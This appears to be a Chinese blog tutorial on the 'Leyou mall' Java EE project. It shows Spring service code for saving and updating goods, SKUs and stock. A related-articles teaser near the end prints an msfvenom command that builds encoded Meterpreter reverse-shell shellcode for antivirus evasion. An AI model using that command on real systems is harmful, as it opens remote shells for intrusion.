javaee之黑马乐优商城6

news2024/11/25 9:55:07

商品品牌的查询

 

 

 

 

 

 

 

 

 

 

 

 

 

上面就是我们需要根据分类id去找品牌

假设我们现在拿到的是 商品的分类id,我们需要根据分类id查询出对应的品牌即可

下面我们拿到上面的接口,直接撸代码

这个是和品牌相关联的操作,因为先去看一下BrandMapper,这个mapper是已经存在了,那我们现在去写Controller层

 那我们要去完成service层,BrandService

下面我们去BrandMapper里面编写sql

再去编写这个sql之前,我们来思考一下,这个应该是一个什么样的sql语句,我们的目的是:查出当前类拥有的所有品牌

 简单说一下上面查询什么意思,先是内连接找出分类与品牌关联的所有数据,然后在用一个where ba把我们需要的分类id对应的品牌拿出来,这些品牌肯定不能等于NULL,这也是为什么不能使用左连接与右连接的根本原因

那我们去把这条语句写到通用mapper的方法上面

 

商品描述

 

 

 

 

 

 商品的规格参数

这里的想表达的是什么意思,其实就是当我们添加完了这个商品的最后,我们要添上我们新添加的商品的参数啊,但是这些参数是什么,我们需要通过关联分类id去找这个参数

,一个分类下面都多个,之前写的tb_category表与tb_spec_param表这两张表是一个1对多的关系

 

 下面我们要去改造一下这个查询规格参数接口

这个都是在参数的相关控制器里面

现在我们把这个代码给重构一下

 下面我们去重构SpecificationService里面的代码

好了,上面重新启动一下这个微服务模块,测试

我们去测试一下这个接口

 

原因在于cid被配置到gid里面了,我们这里cid等于空,自然查不到

修改测试

 下面说一下sku页面信息的处理

它是spu下面每个商品的不同特征

当我们填写了一些数据之后,会在下面给我们生成一个表格,比如我们可以填写更多的颜色,更多的内存,以及更多的机身存储

 当我们填写完上面的信息之后,下方就会生成一个sku的表格

 

 我们去看一下保存商品信息的前端

里面直接给我们绑定了一个提交事件

当我们点击保存的时候,下面我们就能看到请求路径,请求方式,请求参数,与返回值

我们看一下请求参数,这里是向服务器发送请求,很明显这里也是一个表单请求

 下面我们来对这个表单请求进行一个详细的说明

 这里的操作,很明显就是向数据库里面插入各种表的信息,所以一般没有返回值,我们可以去前端看一下

 上面也就分析的差不多了,下面我们去后台实现页面

首先我们需要的实体类,spu有了,sku没有需要添加,spuDetail也没有(这个对象会封装spu里面一些比较大的信息)需要添加,stock库存对象也没有,

我们去数据库里面看了一下,本身来说,sku里面是没有stock这个字段的,而这个字段是保存在tb_stock里面,又从某种情况来说,sku表与stock表是一张表

 另外还需要注意的是,这个整体的大表单数据是向spu这张表里面做的插入,所以我们必须给spu进行属性的扩展,扩展一些spu本身没有的属性,但是客户端又会传给我们的数据

这个扩展可以放到SpuBo里面,这样可以在不改变原对象的基础之上,进行属性的扩展,下面我们先去扩展SpuBo

扩展的属性是:1.商品的详情对象 2.一个List集合用于封装多个sku商品过来

下面我们就要去实现SpuDetail与Sku这个类,这两个类在数据库都有实体表与之对应

 先来扩展Sku

package com.leyou.item.pojo;

import lombok.Data;

import javax.persistence.*;
import java.util.Date;

@Data
@Table(name = "tb_sku")
public class Sku {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private Long spuId;
    private String images;
    private Long price;
    private String ownSpec;//商品特殊规格键值对{"4":"白色","12":"3GB","13":"16GB"}
    //这里应该是在展示主体商品的时候
    //我们要展商品的特有属性值
    private String indexes;//商品特殊规格下标0_0_0,这个是与spu表里面special_spec值对应
    private Boolean enable;//是否有效,逻辑删除用
    private Date createTime;//创建时间
    private Date lastUpdateTime;//最后的修改时间

    //注意在我们请求体里面还有一个库存字段
    //但是这个字段不在我们的sku表里面
    //所以这里做映射的时候,必须忽略这个字段
    @Transient
    private Integer stock;//库存
}

 上面我们有个库存字段,那么我们要把库存信息存入库存表里面

Stock

下面还要扩展一个在数据库中tb_spu_detail对应的类

SpuDetail(这个是主表对应的类,我们放在pojo包里面),它不想SpuBo一样是中间扩展出来的类

下面开始写后台代码

这个是对商品的操作,所以,这里是在商品的控制器页面进行操作

GoodsController

下面我们去GoodsService里面实现上面的saveGoods方法

GoodsService

再去写这个GoodsService方法之前,先去写上我们需要的几个Mapper

 

下面贴上完成的service代码

GoodsService

package com.leyou.item.service;

import com.github.pagehelper.Page;
import com.github.pagehelper.PageHelper;
import com.leyou.common.pojo.PageResult;
import com.leyou.item.bo.SpuBo;
import com.leyou.item.mapper.*;
import com.leyou.item.pojo.Brand;
import com.leyou.item.pojo.Spu;
import com.leyou.item.pojo.SpuDetail;
import com.leyou.item.pojo.Stock;
import org.apache.commons.lang.StringUtils;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import tk.mybatis.mapper.entity.Example;

import java.util.Arrays;
import java.util.Date;
import java.util.List;
import java.util.stream.Collectors;

@Service
public class GoodsService {
    //先不考虑引入什么样的mapper
    //要查spu,所以要引入spu的mapper对象
    @Autowired
    private SpuMapper spuMapper;

    //我们在想找分类字段的时候,我们必须用到CategoryService里面相应的通过id找到分类的方法
    @Autowired
    private CategoryService categoryService;

    //我们在考虑通过spu里面的商品id去找,直接引入mapper一键搞定
    @Autowired
    private BrandMapper brandMapper;

    //插入SpuDetail的mapper
    @Autowired
    private SpuDetailMapper spuDetailMapper;

    //插入sku的mapper
    @Autowired
    private SkuMapper skuMapper;

    //插入stock的mapper
    @Autowired
    private StockMapper stockMapper;



    public PageResult<SpuBo> querySpuByPageAndSort(Integer page, Integer rows, String key, Boolean saleable) {
        //这里是查询spu
        //返回一个带有分页的结果集
        PageHelper.startPage(page,rows);//这个分页会拼到后面的所有sql语句里面
        //我们利用通用Mapper来查,我们要设置通用条件
        Example example = new Example(Spu.class);
        Example.Criteria criteria = example.createCriteria();
        //查询上下架
        if (saleable != null) {
            criteria.orEqualTo("saleable",saleable);
        }

        //模糊查询如果有key的话
        if (StringUtils.isNotBlank(key)) {
            criteria.andLike("title","%" + key + "%");
        }

        //下面通过spuMapper查Spu对象,这个需要一个集合类型的对象
        //通过上面的
        Page<Spu> pageInfo = (Page<Spu>) spuMapper.selectByExample(example);

        //上面是得到了一个spu,我们的目的是得到一个List<SpuBo>
        List<SpuBo> list = pageInfo.getResult().stream().map(spu -> {
           //处理每一个查寻到的spu对象
           //我们要把spu对象变成SpuBo对象
            SpuBo spuBo = new SpuBo();//每个对象一进来都会实例一个这个对象
            //我们把每一个spu的属性给拷贝一下
            BeanUtils.copyProperties(spu,spuBo);

            //下面考虑一下问题:1.我们的cname怎么取,也就是这个spu关联的分类
            //怎么取?是不是要通过spu里面的cid来取,这是个List<Category>
            //我们要把它变成字符串集合对象打印
            //这个是category表里面的操作,调用categoryService里面的具体方法
            //这里面针对这个品牌来讲是三级目录
            List<String> names = categoryService.queryNameByIds(Arrays.asList(spu.getCid1(),spu.getCid2(),spu.getCid3()));
            //上面我们就先去把这个queryNameByIds这个方法给写出来
            //上面就查询到了商品的所属分类
            //把分类赋值给Bo对象
            spuBo.setCname(StringUtils.join(names,"/"));//格式化一下
            //上面查了分类,下面就要去查找品牌
            //品牌的查找我们就考虑要引入品牌的servcie还是mapper
            //考虑到这里如果mapper能一下给我们找出来,就直接mapper
            //如果不能一下找出来,还要经过业务处理,那么就走service
            //这里我们通过Brand的Mapper中的主键查询就能找出来,并且没有业务转换,直接引入mapper
            Brand brand = brandMapper.selectByPrimaryKey(spu.getBrandId());
            spuBo.setBname(brand.getName());
            return spuBo;
        }).collect(Collectors.toList());//变成了List<spuBo>这样一个集合对象
        //注意要给前端返回一个分页对象,并把结果给带过去
        //现在就是上面的结果集数据全部都封装到了spuBo这个对象里面
        return new PageResult<>(pageInfo.getTotal(),list);
    }

    //新增商品
    //这里注意我们需要对三张表进行数据插入
    //1.spu表与spu_detail表(这两张表本质上来说是一张表)
    //2.拿到spuId在插入sku表
    //3.拿到skuid之后,在插入stock表更新库存
    @Transactional//注意对事务进行控制
    public void saveGoods(SpuBo spuBo) {
        //所有是信息全都给我们封装到了SpuBo这个对象里面
        //1.先来新增spu表
        //我说了有些字段没有设置
        //必须我们自己来进行设置
        spuBo.setId(null);
        spuBo.setId(null);
        spuBo.setSaleable(true);
        spuBo.setValid(true);
        spuBo.setCreateTime(new Date());
        spuBo.setLastUpdateTime(spuBo.getCreateTime());
        //利用spu的通用mapper进行数据库插入就行了
        //对于我们不需要插入的字段我们已经做了忽略处理
        spuMapper.insertSelective(spuBo);

        //下面又要新增spuDetail这张表
        //先来获取这样一个对象信息
        //因为全都是封装到SpuBo里面嘛,所以我们
        //从这个对象里面获取
        SpuDetail spuDeatil = spuBo.getSpuDetail();
        //在插入之前我们考虑一下有没有没有封装的字段
        //spuid是需要我们去封装的
        //这种张表本质上来说,就是spu表
        spuDeatil.setSpuId(spuBo.getId());
        //然后在把这个对象的信息插入到spu_detail这张表里面
        spuDetailMapper.insertSelective(spuDeatil);

        //下面我们要插入sku表与库存表
        //这里直接做成一个函数
        saveSkuAndStock(spuBo);
    }

    private void saveSkuAndStock(SpuBo spuBo) {
        //这里利用了一个函数式接口,然后用了lambda表达式处理
        spuBo.getSkus().forEach(sku -> {
            //新增sku
            //还是那句话,有些字段没有处理的要处理上
            sku.setSpuId(spuBo.getId());
            sku.setCreateTime(new Date());
            sku.setLastUpdateTime(sku.getCreateTime());
            skuMapper.insertSelective(sku);

            //然后新增库存这张表
            //本质来说,这两张表是同一张表
            Stock stock = new Stock();//利用mapper插入需要一个对象
            stock.setSkuId(sku.getId());
            stock.setStock(sku.getStock());
            stockMapper.insertSelective(stock);
        });
    }

}

 下面重启商品微服务然后去测试一下

保存成功就不展示了

 我们可以看到数据库里面是插进去了

下面我们去做商品修改部分

 

 看一下对应的方法

 

 下面我们要编写查询SpuDetail接口

这个spu也是针对于商品来说的,先来看GoodsController里面的代码

 GoodsService

下面看一下这个接口能用不,记得重新启动商品微服务

 测试了一下接口看到是有数据的

下面我们要去查询sku信息

 

 

 下面我们要去实现service里面的方法

 下面重启这个微服务,测试一下接口

下面我们去页面看一下页面有没有被回显

这里之前出现了一个问题,这个位置显示不出来

查看静态源代码

提示这个函数没有被加载进来

 原因在于之前我们没有在http.js文件里面设置好下面的函数

 这个函数的作用是

 下面可以看到数据回显了

这样我们可以去修改这些数据,然后点击保存,就会数据插入到相应的表里面,这里上面分析过是一个大的SpuBo的提交表单

但是现在有一个问题是,这些数据是会向数据库里面插入,但是我们原来的数据应该被删除,然后在覆盖

另外需要注意的一点是,我们相同的请求路径,采用不同的请求方式走的路线也不一样

比如

这里发送的是put请求,主要是用于更新或者替换服务器上的资源

点击保存的时候,我们发现服务器拒绝了我们的请求

 下面我们去把这些页面补上

 

 下面去写GoodsService里面的方法
 

package com.leyou.item.service;

import com.github.pagehelper.Page;
import com.github.pagehelper.PageHelper;
import com.leyou.common.pojo.PageResult;
import com.leyou.item.bo.SpuBo;
import com.leyou.item.mapper.*;
import com.leyou.item.pojo.*;
import org.apache.commons.lang.StringUtils;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.CollectionUtils;
import tk.mybatis.mapper.entity.Example;

import java.util.Arrays;
import java.util.Date;
import java.util.List;
import java.util.stream.Collectors;

@Service
public class GoodsService {
    //先不考虑引入什么样的mapper
    //要查spu,所以要引入spu的mapper对象
    @Autowired
    private SpuMapper spuMapper;

    //我们在想找分类字段的时候,我们必须用到CategoryService里面相应的通过id找到分类的方法
    @Autowired
    private CategoryService categoryService;

    //我们在考虑通过spu里面的商品id去找,直接引入mapper一键搞定
    @Autowired
    private BrandMapper brandMapper;

    //插入SpuDetail的mapper
    @Autowired
    private SpuDetailMapper spuDetailMapper;

    //插入sku的mapper
    @Autowired
    private SkuMapper skuMapper;

    //插入stock的mapper
    @Autowired
    private StockMapper stockMapper;



    public PageResult<SpuBo> querySpuByPageAndSort(Integer page, Integer rows, String key, Boolean saleable) {
        //这里是查询spu
        //返回一个带有分页的结果集
        PageHelper.startPage(page,rows);//这个分页会拼到后面的所有sql语句里面
        //我们利用通用Mapper来查,我们要设置通用条件
        Example example = new Example(Spu.class);
        Example.Criteria criteria = example.createCriteria();
        //查询上下架
        if (saleable != null) {
            criteria.orEqualTo("saleable",saleable);
        }

        //模糊查询如果有key的话
        if (StringUtils.isNotBlank(key)) {
            criteria.andLike("title","%" + key + "%");
        }

        //下面通过spuMapper查Spu对象,这个需要一个集合类型的对象
        //通过上面的
        Page<Spu> pageInfo = (Page<Spu>) spuMapper.selectByExample(example);

        //上面是得到了一个spu,我们的目的是得到一个List<SpuBo>
        List<SpuBo> list = pageInfo.getResult().stream().map(spu -> {
           //处理每一个查寻到的spu对象
           //我们要把spu对象变成SpuBo对象
            SpuBo spuBo = new SpuBo();//每个对象一进来都会实例一个这个对象
            //我们把每一个spu的属性给拷贝一下
            BeanUtils.copyProperties(spu,spuBo);

            //下面考虑一下问题:1.我们的cname怎么取,也就是这个spu关联的分类
            //怎么取?是不是要通过spu里面的cid来取,这是个List<Category>
            //我们要把它变成字符串集合对象打印
            //这个是category表里面的操作,调用categoryService里面的具体方法
            //这里面针对这个品牌来讲是三级目录
            List<String> names = categoryService.queryNameByIds(Arrays.asList(spu.getCid1(),spu.getCid2(),spu.getCid3()));
            //上面我们就先去把这个queryNameByIds这个方法给写出来
            //上面就查询到了商品的所属分类
            //把分类赋值给Bo对象
            spuBo.setCname(StringUtils.join(names,"/"));//格式化一下
            //上面查了分类,下面就要去查找品牌
            //品牌的查找我们就考虑要引入品牌的servcie还是mapper
            //考虑到这里如果mapper能一下给我们找出来,就直接mapper
            //如果不能一下找出来,还要经过业务处理,那么就走service
            //这里我们通过Brand的Mapper中的主键查询就能找出来,并且没有业务转换,直接引入mapper
            Brand brand = brandMapper.selectByPrimaryKey(spu.getBrandId());
            spuBo.setBname(brand.getName());
            return spuBo;
        }).collect(Collectors.toList());//变成了List<spuBo>这样一个集合对象
        //注意要给前端返回一个分页对象,并把结果给带过去
        //现在就是上面的结果集数据全部都封装到了spuBo这个对象里面
        return new PageResult<>(pageInfo.getTotal(),list);
    }

    //新增商品
    //这里注意我们需要对三张表进行数据插入
    //1.spu表与spu_detail表(这两张表本质上来说是一张表)
    //2.拿到spuId在插入sku表
    //3.拿到skuid之后,在插入stock表更新库存
    @Transactional//注意对事务进行控制
    public void saveGoods(SpuBo spuBo) {
        //所有是信息全都给我们封装到了SpuBo这个对象里面
        //1.先来新增spu表
        //我说了有些字段没有设置
        //必须我们自己来进行设置
        spuBo.setId(null);
        spuBo.setSaleable(true);
        spuBo.setValid(true);
        spuBo.setCreateTime(new Date());
        spuBo.setLastUpdateTime(spuBo.getCreateTime());
        //利用spu的通用mapper进行数据库插入就行了
        //对于我们不需要插入的字段我们已经做了忽略处理
        spuMapper.insertSelective(spuBo);

        //下面又要新增spuDetail这张表
        //先来获取这样一个对象信息
        //因为全都是封装到SpuBo里面嘛,所以我们
        //从这个对象里面获取
        SpuDetail spuDeatil = spuBo.getSpuDetail();
        //在插入之前我们考虑一下有没有没有封装的字段
        //spuid是需要我们去封装的
        //这种张表本质上来说,就是spu表
        spuDeatil.setSpuId(spuBo.getId());
        //然后在把这个对象的信息插入到spu_detail这张表里面
        spuDetailMapper.insertSelective(spuDeatil);

        //下面我们要插入sku表与库存表
        //这里直接做成一个函数
        saveSkuAndStock(spuBo);
    }

    private void saveSkuAndStock(SpuBo spuBo) {
        //这里利用了一个函数式接口,然后用了lambda表达式处理
        spuBo.getSkus().forEach(sku -> {
            //新增sku
            //还是那句话,有些字段没有处理的要处理上
            sku.setSpuId(spuBo.getId());
            sku.setCreateTime(new Date());
            sku.setLastUpdateTime(sku.getCreateTime());
            skuMapper.insertSelective(sku);

            //然后新增库存这张表
            //本质来说,这两张表是同一张表
            Stock stock = new Stock();//利用mapper插入需要一个对象
            stock.setSkuId(sku.getId());
            stock.setStock(sku.getStock());
            stockMapper.insertSelective(stock);
        });
    }

    public SpuDetail querySpuDetailBySpuId(Long spuId) {
        return spuDetailMapper.selectByPrimaryKey(spuId);
    }

    //我们需要注意的是
    //为了方便回显,我们需要把stock里面的库存
    //也设置给Sku这个对象
    public List<Sku> querySkusBySpuId(Long spuId) {
        Sku sku = new Sku();
        sku.setSpuId(spuId);
        List<Sku> skus = skuMapper.select(sku);
        //把每一个sku的库存给设置进去
        //这个库存信息存放在Stock表里面
        //因此我们需要查出stock这个对象
        skus.forEach(s -> {
            Stock stock = stockMapper.selectByPrimaryKey(s.getId());
            s.setStock(stock.getStock());
        });

        return skus;
    }

    @Transactional
    public void updateGoods(SpuBo spuBo) {
        //先查询以前的sku
        List<Sku> skus = querySkusBySpuId(spuBo.getId());
        //如果以前的sku存在,我们需要先删除
        //这里的思想就是先删除在添加
        if (!CollectionUtils.isEmpty(skus)) {
            //需要删除sku先关的库存
            //那么这里会有很多sku的id关联的库存,我们通过stream转变成一个List集合不就好了
            //这里也就是List<sku>->stream(sku)->stream(sku.getId())->List<int> skuid的集合
            List<Long> ids = skus.stream().map(s -> s.getId()).collect(Collectors.toList());
            //上面有了id的集合,下面就可以去删除以前的库存
            Example example = new Example(Stock.class);
            example.createCriteria().andIn("skuId",ids);//类中与数据库关联的字段
            stockMapper.deleteByExample(example);

            //上面删除了库存,再删除以前的sku
            Sku record = new Sku();
            record.setSpuId(spuBo.getId());
            skuMapper.delete(record);//根据sku里面关联的spuid进行删除,与当前spu关联的sku都会被删除
            //这里上面的思想是这样的,点击一个spu,后面会设置出多个sku商品
            //我们先全部删除,然后在插入
        }

        //下面我们新增修改后的sku和库存
        saveSkuAndStock(spuBo);//这里是一个新的spuBo过来

        //下面去更新一下spu信息这张表
        // 更新spu
        spuBo.setLastUpdateTime(new Date());
        spuBo.setCreateTime(null);
        spuBo.setValid(null);
        spuBo.setSaleable(null);
        spuMapper.updateByPrimaryKeySelective(spuBo);//上面使用了默认值的地方,不会更新

        //还要更新一下spu详情
        //这些数据都是要插入到数据库里面的,只是我们从后对象当中拿而已
        spuDetailMapper.updateByPrimaryKeySelective(spuBo.getSpuDetail());
    }

}

重启商品微服务测试,自行测试

下面我们要开始搭建前台系统

 这个放到资料里面

 

 

 

 

 

 

 

 

 

 

 

好了,先说到这,祝大家早安午安晚安 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1043871.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

协议-SSL协议-基础概念01-SSL位置-协议套件-握手和加密过程-对比ipsec

SSL的位置-思维导图 参考来源&#xff1a; 华为培训ppt:HCSCE122_SSL VPN技术 ##SSL的位置 SSL协议套件 ​​​​握手阶段&#xff0c;完成验证&#xff0c;协商出密码套件&#xff0c;进而生成对称密钥&#xff0c;用于后续的加密通信。 加密通信阶段&#xff0c;数据由对…

深入理解红黑树

小白慎入&#xff01;本文难度比较高&#xff0c;需要对红黑树有一定的了解再来看&#xff01; 红黑树 红黑树是一种高级数据结构&#xff0c;是平衡树大家族中的一员&#xff0c;并且听名字就知道这个玩意不是凡物&#xff0c;可能你从未听过&#xff0c;但是你一定会为这样的…

微前端无界 项目使用记录

1预期目标和场景 一个vue框架开发的应用&#xff0c;需要使用另一个系统的页面。 通俗来说&#xff0c;就是在一个web应用中独立的运行另一个web应用 2 技术支持 微前端处理方案&#xff1a;无界 无界官网&#xff1a; https://wujie-micro.github.io/doc/guide/ CSDN 参考…

金蝶云星空和聚水潭单据接口对接

金蝶云星空和聚水潭单据接口对接 对接源平台:聚水潭 聚水潭成立于2014年&#xff0c;创始人兼CEO骆海东拥有近三十年传统及电商ERP的研发和实施部署经验。聚水潭创建之初&#xff0c;以电商SaaSERP切入市场&#xff0c;凭借出色的产品和服务&#xff0c;快速获得市场的肯定。随…

如何给Nginx配置访问IP白名单

一、Nginx配置访问IP白名单 有时部署的应用需要只允许某些特定的IP能够访问&#xff0c;其他IP不允许访问&#xff0c;这时&#xff0c;就要设置访问白名单&#xff1b; 设置访问白名单有多种方式&#xff1a; 1.通过网络防火墙配置&#xff0c;例如阿里云/华为云管理平台 2.…

计算机竞赛 深度学习人脸表情识别算法 - opencv python 机器视觉

文章目录 0 前言1 技术介绍1.1 技术概括1.2 目前表情识别实现技术 2 实现效果3 深度学习表情识别实现过程3.1 网络架构3.2 数据3.3 实现流程3.4 部分实现代码 4 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习人脸表情识别系…

数独C++代码实现

数独是源自18世纪瑞士的一种数学游戏。中文中“数独”一次&#xff0c;实际上是源自于日语对于数独的音译。是一种运用纸、笔进行演算的逻辑游戏。玩家需要根据99盘面上的已知数字&#xff0c;推理出所有剩余空格的数字&#xff0c;并满足每一行、每一列、每一个粗线宫&#xf…

LeetCode 75.颜色分类

题目链接 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目解析 题意很清楚&#xff0c;让0,1,2按照顺序排好&#xff0c;但是不能使用sort库函数。 将数组分为四部分&#xff0c;分别是&#xff1a; // [0,left] 0 // [left,i] 1 // [i,right] 未…

华为数通方向HCIP-DataCom H12-831题库(单选题:161-180)

第161题 某台路由器Router LSA如图所示,下列说法中错误的是? A、本路由器已建立邻接关系 B、本路由器为DR C、本路由支持外部路由引入 D、本路由器的Router ID为10.0.12.1 答案: B 解析: 一类LSA的在transnet网络中link id值为DR的route id ,但Link id的地址不是10.0.12.…

Unity之NetCode多人网络游戏联机对战教程(4)--连接申请ConnectionApproval

文章目录 前言适用场景1. 准备2.新建GameManager3.编译运行4.脚本详解后话 前言 没看过前面的教程请先阅读前面的教程&#xff0c;本期将会讲到Netcode联机的申请&#xff0c;当一个Client想连接进来&#xff0c;应向Server发送申请联机的信息&#xff0c;然后由服务端向客户端…

EasyExcel的源码流程(导入Excel)

1. 入口 2. EasyExcel类继承了EasyExcelFactory类&#xff0c;EasyExcel自动拥有EasyExcelFactory父类的所有方法&#xff0c;如read()&#xff0c;readSheet()&#xff0c;write()&#xff0c;writerSheet()等等。 3. 进入.read()方法&#xff0c;需要传入三个参数(文件路径…

免杀对抗-C#+go语言-混淆+防反编译+分离

C#&NET-ShellCode-生成/上线 一、生成&#xff1a; 1.msf生成C#语言的shellcode 命令&#xff1a;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.206.192 LPORT4444 -e x86/shikata_ga_nai -i 15 -f csharp 二、上线&#xff1a; 1.c#语言shellcode加载代…

如何通过PreMaint设备管理提高制药行业的质量控制和合规性

在制药行业&#xff0c;确保产品的质量和合规性是至关重要的。制药企业必须严格遵守各种法规&#xff0c;以满足患者的需求并确保他们的产品安全有效。为了达到这些目标&#xff0c;制药企业越来越倾向于采用现代化的设备管理系统&#xff0c;如PreMaint。本文将探讨如何通过Pr…

ElementUI之动态树及书籍的分页查询

目录 一.前言 二.Element之动态树 2.1 后台 2.2 前台 三. 动态表格--书籍的分页查询 一.前言 本文章是继上篇的案例之上教大家如何使用ElementUI去实现动态树和书籍的分页查询&#xff0c;如果有不懂的大家可以翻看上篇的博客查看&#xff0c;其中的样式是ElementUI的官网提…

任正非:天空足够大,世界会越来越兴盛

近日&#xff0c;华为公司创始人任正非与南开大学新闻与传播学院院长、科技日报原总编辑刘亚东今年7月7日在深圳一间咖啡厅的对话最新曝光。 在对话过程中&#xff0c;任正非以“拉法尔喷管”来描述华为的研发体系: “喇叭口”吸收宇宙能量&#xff0c;经过理论研究&#xff0…

JetBrains常用插件

Codota AI Autocomplete Java and JavaScript&#xff1a;自动补全插件 Background Image plus&#xff1a;背景图片设置 rainbow brackets&#xff1a;彩虹括号&#xff0c;便于识别 CodeGlance2&#xff1a; 类似于 Sublime 中的代码缩略图&#xff08;代码小地图&#xff…

中睿天下荣获2023全国智能驾驶测试赛车联网安全比赛第一名

9月24日&#xff0c;由工业和信息化部、公安部、交通运输部、中国科学技术协会、北京市人民政府共同主办的2023世界智能网联汽车大会展览会在北京闭幕。同期举行的全国智能驾驶测试赛&#xff08;京津冀赛区&#xff09;宣布比赛结果&#xff0c;中睿天下凭借过硬的产品实力&am…

Elasticsearch实现全文搜索的步骤和实现原理

Elasticsearch实现全文搜索的步骤和实现原理 ElasticSearch是什么springboot项目,如何接入 ElasticSearch实现全文搜索?Elasticsearch实现全文搜索的原理是什么?ElasticSearch是什么 ElasticSearch(简称为ES)是一个基于开源的分布式搜索和分析引擎,它提供了强大的全文搜…

excell导入十万数据慢该如何解决

1.遇到的问题 项目中遇到导入6w条数据&#xff0c;之前用的poi&#xff0c;感觉很慢&#xff0c;这时查询了下阿里巴巴提供了开源的easyExcell很好用。 EasyExcel官方文档 - 基于Java的Excel处理工具 | Easy Excel 2.读写速度 64M内存20秒读取75M(46W行25列)的Excel&#x…

Morph:利用AI+无代码,分析整理数据,让数据分析变得更加简单

简介 Morph 是一款一体化的数据工作室&#xff0c;可以让用户实时协作处理数据任务&#xff0c;并提供 AI 辅助来收集、排序和分析数据。它设计用来处理数百万条记录&#xff0c;并且为开发者提供强大的 API 支持。Morph 旨在让每个人都能够通过一个简单的界面轻松地收集、存储…